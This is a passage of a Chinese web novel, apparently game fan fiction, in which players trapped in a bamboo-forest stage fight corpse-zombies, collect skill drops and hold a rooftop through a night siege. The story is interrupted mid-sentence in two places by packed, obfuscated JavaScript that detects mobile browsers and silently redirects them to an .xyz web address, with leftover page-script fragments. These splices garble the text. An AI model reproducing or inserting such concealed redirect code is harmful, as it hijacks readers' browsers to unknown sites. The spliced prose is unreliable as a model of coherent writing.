那是个很年轻的男声,听起来确实还算正常,祁云纵速度不减,有些半信半疑地回头看过去,结果一眼便看见最后跑着的是个装着假肢的小女孩,目露凶光,张着黑漆漆、占满了半张脸的大嘴,利齿森白尖锐,怎么看都不是人类。 他大骂一句:“谁和你们自己人!”跑得更快了。 “什么?”谢不若疑惑,转头一看,吓得卧槽一声,反手抽出刀就是一挡,小谷咔地一声咬在唐横刀的刀鞘上,那声音震得几个人耳膜疼。 她幽幽地抬起眼,利齿毫发无伤,刀鞘上留下一派锐利的牙印。 “我的刀!”谢不若一下子急眼了,回手掏出三张大饼就甩给小谷,龙葵这辈子没见过这么快的身手。 他们在后面纠缠,前面柳七刀已经追上了祁云纵。 他心里就一个念头:还好纯阳跑得慢。 他们队伍的第四人,竟然是一个驰冥道长。 3. 第一天·湘竹溪(三) 好不容易追上祁云纵、解释清楚又组好队,天色已经几乎全暗下来了。 这张地图简直就像没有黄昏一样,直愣愣地从白天变成了黑天,好在夜色还不算深,还能看清远处大致的轮廓和脚下的路。 大家互相搀扶着走回竹屋,一边聊天以驱散恐慌感。 新队友祁云纵自我介绍:“我是剑纯。” 几个人心里缓缓涌现出同一个想法:难怪刚刚跑那么慢。 谢不若拍拍他肩膀:“巧了,我是海归剑纯。” 柳七刀试图混入其中:“我是……貂纯?” “你们别犯蠢。”龙葵打断他们,指了指前方,夜幕中隐隐约约能看到那排竹屋的轮廓,“那些屋子里好像也没有灯。” 大家笑不出来了,情况一下子变得严重起来。人对黑暗的恐惧是与生俱来的,没有灯火,无边的黑暗就像要将人吞没一样,竹林深处如同一张巨口,鬼影幢幢。 几个人摸黑进了屋子,翻找一通,确定没有任何烛火以及能用来生火的东西,灶膛里倒是有些木柴,柳七刀把木柴搬到竹屋门口。 “钻木取火。”他思考道,“怎么说?” “Drill wood to make fire.”祁云纵回答。 谢不若说:“牛!你才是海归。” “都什么时候了还在这玩梗。”龙葵无奈。她在自己的百草卷里翻了半天,看看有没有能用的东西,最后找出一块灰黑的石头来。 “这是什么?”她疑惑道,“药宗武器里有这玩意吗?” 祁云纵接过来放在眼前,努力试图看清:“是一块石头。” 谢不若也拿到了石头:“一块黑色的石头。” 石头传到柳七刀手里,他说:“一块黑色的坚硬的……呃?” 他愣了一下,道:“这好像是块燧石。” 燧石就是火石,击石取火用的就是这种石头。大家常识都在线,闻言面露喜色,立刻张罗着生火。然而理想和现实存在距离,祁云纵举着燧石砸石板,手都快摩擦起火了,也只不过溅出来几个小火星子。 “不行,得有火绒来引燃。”柳七刀说,四处寻找可用的材料,最后视线停留在旁边人的肩膀上,开始思考羽绒和火绒是否存在联系。 谢不若的鹦鹉抖了抖翅膀,忽然有一种不祥的预感,便看见谢不若抽出唐横刀,刀光一闪,寒气逼人。 鹦鹉“嘎”的一声,蹬直了脚,一头栽倒在谢不若脖颈里:“杀鸟了!杀鸟了!” “什么?谁要杀你?”谢不若迷茫道,拿着唐刀开始削木头。那真是把斩金截玉,削铁如泥的好刀,如果柳七刀没看错的话还是绝地天通刀同模,现在就在谢不若手里跟个削笔刀一样刮木屑。 “这招有戏。”眼看着又轻又薄的木屑聚成了一小堆,龙葵开心道。这时,她突然感觉柳七刀轻轻拉了拉她校服裙子的下摆,那力度不轻不重,似乎是有什么事想告诉她。 龙葵有些奇怪,问柳七刀:“怎么了?” 柳七刀闻言,转过身:“什么?” 借着不时蹦出来的几个火星,龙葵赫然看见,柳七刀双手都拿着几根木柴。她缓缓下移视线,看见抓住自己裙摆的是一只青黑的、残缺不全的手。 “我淦!我***************!” 几个人被龙葵突如其来的怒吼吓得一哆嗦,便看见龙葵从地上跳起来转身飞起就是一脚,一声闷响,也不知道踢中了什么,很久才传来落地的声音。 “我擦!”谢不若差点没拿稳刀,“什么东西飞出去了!” “那些尸体活了!”龙葵紧紧地抓住自己的裙角,声音里都带上了哭腔,“吓死我了……” 姐姐!你刚才一脚把它踹飞了啊!飞了好远! 但现在不是说这个的时候了,几个人站起来,把还在努力生火的祁云纵围在中间,谢不若和柳七刀都拔出了刀,看着周围的黑暗。 除了燧石敲击石板发出的清脆砰砰声之外,竹林里又传来了窸窸窣窣的响动。那声音听着非常渗人,就好像是有人拖着沉重的身躯在地上爬行一样。他们可太知道那是什么了——毕竟白天时还亲手挖了一些出来。 “听到了吗?”龙葵轻声问。 “雨后新笋,破土而出。”谢不若说,被龙葵打了一下。 情况很明显,那些人的残肢断臂突然活了,而且似乎正在缓慢地朝他们爬过来。柳七刀做了个深呼吸,努力让自己忘掉白天时看到的那些青黑色的肢体,但是人头塞满了泥土的眼眶就来回在眼前晃悠,怎么也没法忽视。 “来了!”谢不若轻声道,三人如临大敌,就看见黑黢黢的一只手慢慢地蠕动过来……过来…… 柳七刀一脚把它踹开了。 “就这?”龙葵逐渐变得面无表情。 大刀甚至根本不用出鞘,柳七刀用刀架跟打高尔夫似的,把爬到他们脚边的那些断手都打飞出去。这是一项基本毫无难度的工作,因为这些东西根本没有杀伤力,光是蠕动过来就已经很费劲了,就算爬到了脚边,也只能对鞋底进行一些拉拉扯扯。 “有点浪费感情。”谢不若心疼地抚摸着自己刀鞘上那一排牙印,忽然啧了一声,“不对,你们还记得我们之前挖出来的尸体吗?越到后面他们就越完整了!” “——是尸人!”龙葵脱口而出。 随着她这句话落下,便听见黑暗里一声咆哮。那声音格外嘶哑难听,就好像指甲划黑板一样让人寒毛直竖。 紧接着,四周都响起了这种毛骨悚然的声音,一时间竟然分不出有多少,柳七刀咽了咽口水,心里知道该做好最坏打算了,或许这片竹林外侧此刻已经站满了尸人。 窸窸窣窣中,忽然一阵腥臭扑面而来! 那速度非常快,和之前的断手断脚完全不是一个等级,几乎来不及反应,柳七刀眼前一黑,就感觉有个东西掠过他朝着谢不若扑去。 “谢不若!”柳七刀和龙葵同时大喊,但只见眼前白光一闪,绝地天通刀已经挥下,尸人被拦腰砍成两截! 谢不若缓缓收刀,沉默了一会儿。这时候不说点什么不像谢不若的风格,众人还以为他受伤了,担心地看着他,就听到他突然一张嘴:“呕……” “……” 柳七刀还想安慰他几句,然而更多的尸人也扑了上来。黑暗中他看不清到底有多少,只能凭借感觉挥刀。 他的刀一挥出去就察觉到不对劲了,这尸人的力气奇大无比,竟然能和霸刀的大刀形成抵抗之势,还好他的新亭侯同模刀足够锋利,只是察觉到微微一阻,便能继续挥下去。 龙葵的柳叶刀在这时候无疑是最没有优势的,谢不若和柳七刀本想挡在她面前,但是她也是很强,直接捡了根木柴将柳叶刀绑在顶端,自己做了把刀,舞得虎虎生风。 “啪!” 一只断手打在谢不若肩头,里面好像充满了腥臭的脓液,发出惊悚的水声。鹦鹉嗷嗷尖叫起来,谢不若赶紧抖了抖肩膀,余光看见小谷还一脸安静地站在旁边,而尸人似乎也绕过了她。 “小谷!小谷!”谢不若病急乱投医,“你饿不饿啊!” 小谷对他们手忙脚乱的情形熟视无睹,甜甜地说:“谢谢你,我吃过啦。” “……别再撺掇她吃这些鬼东西了!”柳七刀一刀砍向扑到面前的半截尸人,刀嵌进尸人身体就像砍进了腐烂滞涩的一堆黏液组织,传递回来的手感非常挑战心理,他欲哭无泪,只能通过鬼吼鬼叫来发泄,“啊啊啊啊!快把火生起来!祁云纵!快生!” “别催了别催了……”祁云纵被他们围在中间,也是急得埋头疯狂砸石头,突然发现面前有一团亮晶晶,在黑暗里散发着不甚明显的光,“这是什么?” 他愣了一下。 我去,掉落! “快生啊!生啊!”谢不若也在大吼,却突然发现尸人的速度意外地凝滞了起来,好像都变成了慢动作。 与此同时,嗤的一声轻响,柴堆终于被引燃。借着火光,四人终于看清周围;不知何时,他们已经被密密麻麻的尸人全部包围在中间,只是那些尸人畏惧火光,此刻似乎正试图后退,但动作缓慢得甚至有些滑稽。 让它们变成这样的,就是祁云纵脚下那个散发着清幽蓝光的气场。 “生了生了!”祁云纵大喊,“是个太极!” 飞剑满天势,无极生太极! 火焰炙热,生太极清光历历,四周尸人哀嚎躲避,祁云纵单手持剑站在气场中间,长身玉立,道袍翻飞,可谓肃如松风。 等了一会儿,没听到夸他帅的声音响起来,祁云纵有些奇怪地转过头,便看到三个人露出危险的微笑,凑了过来。 “哪来的太极?”龙葵阴恻恻地问。 “捡……捡的掉落技能。”祁云纵后退一步。 “好啊你小子!”谢不若一把拽住他,“我们在前面痛苦挣扎,你在后面摸掉落!” 柳七刀也在后面幽幽地说:“你有没有想过,如果是我来捡,或许就是一个地毯铺过去,这些尸人能全没了。” 三个人从来没这么默契过,怒吼道:“生太极现在有什么用啊!” 祁云纵抱紧自己的剑,据理弱争:“起码能减速……而且生太极,是剑纯安全感的来源!” 片刻后,柳七刀谢不若龙葵围着火堆坐着,给小谷烤熏肉吃,祁云纵一个人在太极边缘,一手举着火把,一手艰难地挥剑戳尸人,戳一下呕一声。 “小点声,影响食欲。”柳七刀提醒他。 “嗯,这饼烤起来还挺香。”谢不若说,掰了点喂鹦鹉。 “熏肉也不错。”龙葵慢条斯理道,“要是再撒点孜然就更好了。” 祁云纵怎么听怎么不对劲,合理怀疑他们是想把自己烤了,赶紧加快打怪速度。 只是尸人畏惧火光不肯过来,祁云纵是剑纯手短,再怎么努力也只能扫清周围一圈尸人,还把他自己恶心坏了,去一边顺了半天的气。 这地图掉落率非常感人,打了半天,不多不少,就三个亮晶晶的光圈。 “技能可能是按照人数掉落的。”龙葵拍拍手上的饼渣,说,“走,摸一把去。” 三个人挑好各自的掉落,对视一眼,龙葵率先伸出手。就看到她脸上的表情一愣,然后逐渐露出微笑,随后微笑的弧度越来越大,最终大笑出声。 看到她惊喜的表情,大家了然:“摸到草了还是盾了?” 龙葵收了笑,奇怪地瞥三人一眼:“不是啊,是银光照雪。” 她又开始摸着自己的百草卷傻乐:“这可是我重要的输出技能,我的小宝贝……” “……”或许这就是药奶吧,即使变成无方也一样。柳七刀摇了摇头,也伸手去摸掉落。 他看着自己的手触摸到光圈,那是一种很奇妙的感觉,好像伸进了一泓水里,冰冰凉凉的却又很舒适。随着这种感觉的传来,柳七刀发现自己的大脑里好像多了什么东西,或者说它一开始就在那里,只是现在拨开了迷雾,才露出原本的模样。 三个人紧张地看着他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691151|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 龙葵碎碎念着:“刀墙刀墙刀墙刀墙……” 祁云纵:“地毯地毯地毯地毯……” 谢不若:“七刀啊,好歹摸出来个上将才对得起自己的名字吧!” 柳七刀艰难地露出了一个干巴巴的微笑:“西楚悲歌……” 西楚悲歌,俗称小圈。 祁云纵和龙葵冷漠地移开视线,去看谢不若了。 柳七刀耸耸肩,余光扫到小谷正在看他。 这小丫头不饿的时候就是安安静静地发呆,现在却直勾勾地盯着他,柳七刀有些奇怪,朝小谷走近了两步:“怎么了——” 他话还没说完,忽然感觉身后一阵腥臭劲风冲过来,还没来得及做出任何反应,整个人就被一阵巨力硬生生击飞出去! 谢不若猛地回头,他的掉落在太极最外围,他们都聚拢到那个地方去了,竟然没有一个人发现,在身后的黑暗中,赫然站着一只格外高大的尸人! 在他们愕然的注视中,柳七刀重重地摔落在地,没了声响,火堆随后熄灭了,只在黑暗里留下一缕青白色的烟。 太突然了。龙葵愣愣地看着柳七刀摔落的方向,过了一会儿,她才在耳鸣声中听到自己在大声地喊着柳七刀的名字,喉咙里阵阵血腥味上翻。 尸人向前一步,像座小山一样挡在了他们的面前,祁云纵御剑而上,生太极却插在了柳七刀的方向。 “快去救他!”祁云纵大喊,“银光照雪可以奶吧!” 那尸人就像能听懂他们说话一样,高抬手掌就要对准龙葵拍下来,祁云纵举剑迎上,周流星位劈入巨尸手掌迸出一股脓血,巨尸咆哮抬手,龙葵趁机矮下身在地上一翻,爬起来继续向柳七刀的方向跑去。 “祁云纵!让一下!” 谢不若震声道。他不再单手持刀,而是改用双手握住横刀,缓缓抬起来,深吸了一口气,黑暗中刀气如芒,寒光毕现。 孤身立锋影,扬刀破沧浪! “孤锋破浪……” 柳七刀躺在地上,喃喃道:“谢不若这家伙果然是个欧皇。” “你少说两句话。”龙葵哽咽道,一边给他检查伤势。银光照雪落在柳七刀身上,像一股股暖流在血管中涌动,让他感觉好像在温泉里浸过一样,非常舒适,但龙葵还在他胸口按来按去,他只能庆幸自己穿的是燕云而不是驰冥。 “我真的没事,男女授受不亲。”柳七刀绝望道,“快让我起来!” 那巨尸被谢不若一刀砍成两段,火堆已经重新生起来了,祁云纵和谢不若一边一个把他在地上按得死死的,悲痛道:“不用硬撑,兄弟,在医生眼里你就是一块肉。” 柳七刀有嘴说不清,再加上胸口确实有些闷疼,干脆摆烂,随他们去了。 巨尸在黑暗中拍来的那一掌他的确没有任何防备,但恰恰就在那时,他看到小谷在盯着他看,便朝小谷的方向走了两步。如果不是那段距离,那就不是被拍飞出去这么简单了,很可能直接被砸进地里。 柳七刀想起来就后怕。 神奇的是,他摔下来也几乎没受伤,还在半空的时候,他便感觉浑身一僵,有种阴冷的感觉包裹住了他,但这种阴冷的感觉却似乎形成了一种保护,在他摔落的时候缓冲了一下。 现在龙葵用银光照雪把他奶回来了,这种阴冷感便慢慢消退了。 柳七刀有些茫然地转动眼睛,看着一旁安静发呆的小谷,跟队友说了这件事。 龙葵愣了一下:“是增益buff!” “什么玩意儿?”三个PVP三脸茫然。 “就是浪客行啊,和小谷同行的时候受伤可以触发那个增益buff!”龙葵越说越激动,简直恨不得把小谷拽过来吧唧一口,“好像就是什么阴冷之力形成的护盾,虽然看着很恐怖,但实际上是可以保护玩家的!” 谢不若听得目瞪口呆:“还有这种设定!” 他俩松开手,柳七刀终于能从地上坐起来了。小谷还在一边站着,黑漆漆的大眼睛在跳动篝火的映照下呆滞无神、很是恐怖,但柳七刀现在怎么看怎么觉得她可爱,简直是贴心小天使。 “小心一点呀。”小谷甜甜地说,忽然表情一变。 除了要吃人,她从来没露出过这么丰富的表情,刚刚还在小天使小宝贝乱喊的四个人顿时一怂,手脚并用地往后退了几步,谢不若的手在身后疯狂乱摸,寻找食物。 “好香好香……”小谷用梦呓一样的声音喃喃道,“好像是姐姐的味道。” 她说完这句话便恢复了原样,又成了个只会发呆的木偶人。但这句话却让听者细思极恐,柳七刀小声说:“她姐姐什么味道啊。” 几个人深呼吸,周围空气里满是尸人脓血的腥臭味,干呕声接二连三响起来。 “等等。”祁云纵忽然拧眉道,“你们有没有听见什么声音?” “谢不若的呕吐声?”柳七刀随口说,但很快也发觉不对。火光照不到的遥远的黑暗中的确传来了奇怪的声音,砰、砰、砰…… 龙葵单手持柳叶刀戒备,皱起眉头:“怎么还有点耳熟呢。” 那砰砰的声音几秒就消失了,留下四个人面面相觑,不知道在什么地方听过。但很快,更大的动静就出现了,有什么东西在迅速接近,竹子折断的声音噼噼啪啪响成一片,显然来者速度极快,身后还缀着一连串尸人的咆哮。 “说起来,是不是到新人投放的时间了。”谢不若说。他这么一句话,柳七刀顿时想起来刚刚那声音在哪里听过了,他脱口而出:“卧槽,盾立!” 4. 第一天·湘竹溪(四) 随着一阵枝叶倾折的巨大声响,一面白色盾牌以摧枯拉朽之势从竹林里撞了出来,一身燕云玄甲的苍云女将左手持盾、右手擎刀,跃了出来。那身盔甲一看就十分沉重,但她跑起来丝毫不见被拖累的样子,十分飒爽。 看到四人,她一点也不惊讶,似乎就是奔着他们这团火来的,一甩陌刀上滴滴答答往下流着黑色的血液,反手又是一盾拍过去,身后扑过来的尸人撞在上面,顿时仰倒。 “牛哇!”谢不若捉刀起来,祁云纵生太极随后跟上,龙葵施展起银光照雪,几人加入战局,黑夜里刀光剑影好不热闹。 只有一个小圈的柳七刀老实巴交地挥动自己的大刀:羡慕。 很快,这批跟着苍云过来的尸人就被清理完毕,几个人重新回到火堆旁坐下。苍云自我介绍叫仇非,来的时候尸人就已经开始暴动了,她硬是从尸人堆里杀出一条血路,好不容易遥遥看到一团火光,知道这边有人,就朝这里来了。 这一路上的尸人也不少,她打着打着还摸了个掉落,正是盾立。 谢不若和她组好队,挠挠头:“现在也凑齐一个小队的人了,我们的任务呢?” “我倒是有个猜想。”听完他们之前所经历的事,仇非道,“众所周知,浪客行是按照天数与时辰来划分关卡的,十二个时辰是一天,八天为一周目。便按照柳七刀说的,假设日头最烈时为午时,每隔一到二小时来一位新人,那么除去最先到达的柳七刀,我们一共是四个人。午、未、申、酉、戌,结合天色,现在极有可能是戌时,也就是晚上七点到九点这一时间段。” 除了龙葵若有所思,三个PVP继续三脸茫然。 “原本的浪客行中,一时辰为一关,但这种判定方法显然已经不再适用。”仇非根本不管他们听没听懂,继续说,“那么我认为,最后可能的情况……” “就是以一天为标准来进行结算?”龙葵问。 仇非对她微微一笑:“只是我的一个想法,我也说不准,毕竟我们连柳七刀到达这里时是不是午时也只是一种猜想。” 龙葵激动道:“我觉得很有可能!也就是说,我们大概只要存活到明天午时,就可以出去了!” 三个PVP继续茫然:这结论咋得出来的? 柳七刀左看祁云纵,右看谢不若,发现大家都有听没有懂,放下心来。这个苍云姑娘的性格几乎和她出现的方式一样强势而硬核,简直是气势如虹,有一种震慑全场的气质,连谢不若的鹦鹉都老老实实地把头埋在翅膀里,梳理羽毛。 “那我们就来安排一下吧。”龙葵拍拍手,她好像完全没有从仇非身上感到那种气场,或者说仇非对她似乎格外温和,“做几个火把,拿到竹屋里,然后轮流守夜,怎么样?” 没人提出异议,抱柴的抱柴,开路的开路,众人陆陆续续向竹屋走去。明明是伸手不见五指的漆黑夜晚,远处还有尸人们低声的咆哮,但得到了“明天就能离开”这个结论,大家心里都莫名地安定了一些。 柳七刀走在最后,看顾着小谷,在心里默数他们剩下的食物。应该是没问题了,除非小谷突然胃口大开吃下五个人的量,不过就算饿到明天中午也不是什么大事。 大家简单地决定了一下守夜的顺序。按照那些无限流小说的经验,夜越深越危险,所以第一轮就安排给目前技能没什么用、但武力值也还可以的柳七刀和祁云纵,第二轮是能打能奶还有反伤的仇非和龙葵,最后一轮是谢不若和他的鹦鹉,每轮守夜的时间就按照两根木柴完全燃烧的用时来算。 每组值夜,一个人盯着尸人的动向,防止再出现那种无声无息且不怕火的巨尸,而另一个人主要负责盯小谷,保证她不会饿得咬人。 安排妥当,大家收拾收拾,就准备睡了。他们在尸人堆里杀进杀出,身上免不了溅上不少腥臭的脓液,好在众人都还能将就,龙葵又从百草卷里拿出些蕃荷菜,也就是薄荷,搓碎了给每个人鼻子底下抹了一点,才好受些。 至于屋里的竹床,更是一碰就嘎吱作响,根本没法睡,谢不若干脆把几间屋子的褥子都撤下来铺到地上,大家一起睡地板。 仇非和龙葵睡北头,谢不若只能一个人睡在南边,但是他的鹦鹉获得了特权,可以睡在龙葵的枕头旁边。 极度紧绷了一天的神经终于得到放松,三个人几乎是在躺下的瞬间就睡着了。 祁云纵表情难以言喻地看着两个姑娘躺着的北头。 “你在干什么!”柳七刀上手扶正他的脑袋。 祁云纵迷惑:“啊?我第一次听见鹦鹉打呼噜……” “……”柳七刀看看他背上的夜话白鹭,差点忘记这家伙是个剑纯。说起来,他们在尸人堆里厮杀了那么久,这夜话白鹭上面愣是一点黑血都没溅到。 他又问小谷:“饿吗?” 小谷很乖地摇摇头:“谢谢你,我吃过啦。” 这可是救了他一命的小宝贝,柳七刀摸摸她的小脑袋,再次用校服袍子给她擦去脸上沾到的污渍。 祁云纵摘下夜话白鹭,边擦边吐槽道:“你好像一位慈父。” 柳七刀看着他柔情脉脉的擦剑手法:“……反弹。” 他俩有一搭没一搭地聊着天,直到两根木柴烧完,便把仇非和龙葵小声喊起来。 她们俩睡饱了,神采奕奕的很有精神,打了两个手势,让祁云纵和柳七刀去睡。 柳七刀走到谢不若旁边,低头一看,这家伙睡得很熟,显然是一点动静都没听到。他本来还想笑话笑话谢不若,但等他自己一躺下,就跟断了电一样,比昏迷还快地睡过去了,祁云纵差不多也是这样,整个人几乎是直直地栽进了被褥,扑通一声,就不动了。 或许是因为实在是太累了,这一觉睡得格外地香,柳七刀觉得自己简直从来没有睡过这么令人满足的觉。他甚至隐隐约约地有一种想法,希望自己能永远地睡下去。 “别睡了别睡了别睡了!”谢不若一手持刀,一手扯住柳七刀的领子疯狂摇晃,“boss战了!快起来!” 柳七刀被他摇晃得两眼直冒金星,艰难道:“别晃了……想吐……” 谢不若一听他想吐,以迅雷不及掩耳之势收回了手。 经过这一通折腾,柳七刀也醒了。他抬起沉重的眼皮一看,残留的睡意顿时烟消云散,浑身寒毛直竖。 不知道什么时候,他已经被同伴拖到了竹屋的房顶。几个人都醒了,手持各自的武器,一脸凝重地看向外面。 夜色还很深,天没有亮起来的意思,但脚下的黑暗却是翻滚涌动着的,连火把都照不明。再定睛一看,那根本就不是火把照不明的黑暗,而是无数叠在一起缓慢前进的尸人,因为数量太多了,第一眼看过去甚至看不出来那是什么。 丧尸片里的场景也不过如此,这下柳七刀是真的想吐了。 仇非将陌刀背回腰间,拿起一根火把,旋身抬手,朝黑暗中扔了过去。她臂力惊人,火把飞得很远,那一缕火光在熄灭之前照亮了周围: 尸人,还是尸人。 那已经是离竹屋有段距离的地方了。 火把落下来,砸在密密麻麻的尸人的身上,才彻底熄灭,但畏火的它们甚至连躲避的动作都没有。不是因为不想躲,而是因为太密集了,除了被同伴裹挟着前进,它们根本没办法做出其他的反应。 谢不若小声骂了一句,但祁云纵却格外沉默。柳七刀扭头看去,才发现他一直在往尸人堆里插生太极,但气场一落下去就被尸潮遮住了,根本看不清楚。 尸人实在是太多了,面对这样的情景,他们完全束手无措,甚至不知道从哪里开始下手,或者说,根本提不起来战斗的意愿。 “它们要爬上来了。”龙葵低头看着脚下,沉声说。 那是一种很恐怖的攀爬方式,与其说是爬,不如说是“走”。最前列的尸人被后面的尸人踩在脚下,当成阶梯,随后更后面的尸人又涌上来,踩倒前面的尸人,它们就用这种方式慢慢接近房顶,低沉的咆哮和哀嚎、黏腻的蠕动声从四面八方涌来,听声音不难想象,最先一批的尸人大概已经被同伴活活地踩踏成了肉泥。 连竹屋都被它们挤得微微摇晃起来,如果不是祁云纵卡着CD一刻不停地生太极,尸人们的速度恐怕还会更快。 “等一下打起来,大家分别守住自己面前的房顶,别让尸人上来,也尽量不要让自己受到伤害。”柳七刀说,话一出口就想给自己来一拳,这说的什么废话,“要是撑不住了就喊救救救。小谷你们喂饱了吗?” “放心吧,你的小宝贝刚吃饱,不用怕背刺。”祁云纵背对着他,说。 柳七刀又问:“龙葵,如果到时候有人受伤了,你就退到中间来,和小谷站在一起,奶我们,可以吗?” 龙葵点点头,握紧了百草卷。 “这个卷里有没有火/药啊。”谢不若突然说,“给他们全炸了。” “正常药宗的百草卷里怎么会放这个!”龙葵无语道。 柳七刀看了谢不若一眼,谢不若朝他眨了眨眼。 “那个……仇非。”柳七刀突然语塞,仇非似乎不太需要关注,有盾有刀有玄甲,她看起来是所有人里面最安全的。 仇非淡淡道:“嗯,有人撑不住了也可以叫我,我试试盾飞……当然,你们要记得帮我捡一下。” 谢不若大笑起来,随即,其他人也笑出声,只有祁云纵不明就里,认真答应:“好的。” 所有人齐齐地看向他,然后摇头。 连笑话都听不懂的剑纯,不外乎如是。 一切安排妥当,几个人又沉默下来。漆黑的夜晚中,只能听到尸人蠕动前行发出的动静和木柴燃烧的噼啪声。 觉得太安静了让人心慌,柳七刀主动开口:“如果……” “别!”谢不若嗷的一嗓子,“大战之前绝对不能立任何flag!憋住!憋住!” “不要想家,不要回忆,不要惦记着和情缘结婚。”龙葵紧跟着补充,“什么都别想,专注于面前就可以了。” 祁云纵开始显摆他的夜话:“不会有人没有情缘吧。” “那你的情缘能说话吗?”谢不若冷笑一声,对鹦鹉道,“来,说句话给他听听!” 鹦鹉扑扇着翅膀:“丑拒!丑拒!” “……” 柳七刀笑出声,但他其实只是想说,如果小谷在一片混战中突然又饿了的话,谁能抽出空来去喂一下。 不过想想倒也不用担心,到时候那么多尸人,说不定人家直接开始吃自助餐了。 “啪!” 一只手搭上了房顶。柳七刀拔出新亭侯,朝它砍下去的时候不由得想到了一天前的自己,那时候不小心碰到几根断指都会吓得疯狂洗手,现在连眼睛都不眨了。 这就是脱敏治疗吧。 尸人们的喉咙里发出嘶哑的低吼声,摇摇晃晃地接近了房顶。在那根本无法计数的、翻滚的黑色海洋面前,他们点燃的篝火只是其中再微小不过的亮色,渺小像风暴中的船只和洪水中的房屋,在天灾那种摧枯拉朽的绝对性力量面前根本没有挣扎的余地。 但这毕竟不是真的天灾,他们不一样,他们还可以去抗争与战斗……无论结果如何! 无需多言,几人各自迎上。 柳七刀只有一个想法:该来的总是会来的。 等待的恐惧才是最难熬的,现在真的开战了,他的心思反而变得沉静下来。新亭侯挟万钧之势劈开尸人的头颅,柳七刀的右脸一凉,几滴黑血顺着下颌滴在了领子里,却连眉头也没皱一下。 每一次挥动新亭侯,他都能感觉自己越来越熟悉这把刀的一切,切换,起落,劈砍的角度,忽然心念一动,一直以来都在疑惑的一个问题,似乎隐隐约约有了解答——他究竟是自己,还是一个霸刀山庄弟子的角色?在这样拥挤的尸潮中,这两种身份之间的界限好像在慢慢淡化、模糊,逐渐趋于重合,不再具有区别。 但是尸人的数量太多了…… 第一只突破包围圈的尸人出现了,虽然祁云纵立刻补位、一剑结果了它,但更多尸人陆陆续续涌了过来。已经停跳的心脏中只残留着最本能的食欲,锐利残破的指甲和獠牙都是它们的武器,几乎是瞬间,几个人身上就留下了大大小小的伤口。 尸人的血液好像带着毒,并不严重,但溅在伤口上是剜骨般的痛痒,像有人拿着蘸了盐水的剪刀硬生生剪开皮肉。 柳七刀砍下一只尸人的头颅,但那头颅竟然还能活动,一口咬在了他的右臂上。他痛呼出声,手腕一转将刀反插进那头颅大张的嘴中,将它挑飞。 那一口将皮革与布料双双咬穿,伤口深可见骨,柳七刀几乎要握不稳刀柄,但就在此时,一股温暖的力量落在他的右臂,那可怖的咬伤开始缓慢愈合。 龙葵叫道:“坚持住!天好像要亮了!” 火堆早在第一只尸人冲上来的时候便被踢灭,但周围的一切确实渐渐明亮起来,像被包裹在灰白的雾气中,这是天亮的早兆。 这是第几波被击退的尸人了?没有人数,数也数不清。半身流着黑脓的尸人刚要对准柳七刀的脖颈咬下去,斜刺里却飞来一柄巨盾,重重地将它撞下了屋顶;仇非横挥陌刀扫清障碍,扑过来翻身举盾立盾一气呵成,挡住其他尸人的扑击。 谢不若喊道:“好盾飞!” 却见仇非背后又有一只尸人扑上,千钧一发之际,一柄剑穿透它的后脑从嘴里刺了出来,这次却是祁云纵掷出了周流星位。 谢不若回头一看:“好剑飞——呸呸呸呸呸!” 祁云纵拔出剑回身防守:“你什么意思!” “血!”谢不若面部扭曲,“血溅嘴里了……” 柳七刀勾了勾嘴角,但是却连笑的力气都快没有了,只觉得握刀的手无比沉重,几乎快要抬不起来。 看小说的时候觉得主角最后都是凭借意志力撑下来的,很帅,但实际上轮到自己了,就知道这些动作跟意志和精神已经完全没有关系了,完全只是为了生存的下意识的动作。唯一支撑着他继续的,大概也只有周围的同伴们还在坚持着。柳七刀毫不怀疑,如果现在有人倒下了,那其他人很可能也会相继失去力气。 “来了!”仇非突然低吼道。 什么来了?柳七刀心里一凛,转身看去,就看到不知何时,一头巨尸已经翻上了房顶,摇摇晃晃,抬起巨掌,就要拍向被他们围在中间的龙葵。 离龙葵最近的就是谢不若和柳七刀,柳七刀看向他,心里剧震——谢不若竟然半身浴血,斗笠都只剩下残破的小半边,鹦鹉不知道飞到哪里去了,而它常停的肩窝处已经是一片浸透的鲜红,还在逐渐扩散,看起来实在是糟糕到了极点。 柳七刀并不知道,自己在其他人眼里也是这幅样子。 谢不若跃起来,唐横刀朝巨尸的脖颈砍下——这只是最平常的砍击,他的体力几乎没办法再支持他用出孤锋破浪了——巨尸收回向龙葵拍出的手臂进行格挡,锋利的刀刃卡在它的大臂上居然不能寸进。 这巨尸仿佛有智 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691152|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慧一般,放过了龙葵,转而朝谢不若咬来,与此同时,它脚下闪现出了生太极的光晕,动作变得迟缓。 谢不若抓住机会,再次咬牙用力砍下,巨尸的一条手臂应声落地,而他落回地上竟踉跄了几步,不得不单刀支地撑住身形。 银光照雪立刻落到了他的身上,但连龙葵自己也是满身伤口、脸色苍白,似乎已经到了体力的极限。 柳七刀握住新亭侯,拦在谢不若前面,挡住巨尸拍击下来的另一只手臂。双手都在不停地颤抖,仿佛即将脱力,但绝不能在这个时候后退一步!他的下唇都被自己咬破了,已经快要枯竭的力量再次调动起来,怒喝一声,新亭侯朝尸人的手臂砍去。 两条手臂都被削去,巨尸狂暴地咆哮着,那近在咫尺的巨大声音震得他们耳膜一炸,动作顿时停了几秒。就是这要命的几秒,让其他尸人抓住了空档,顿时像风暴潮一样涌了过来。 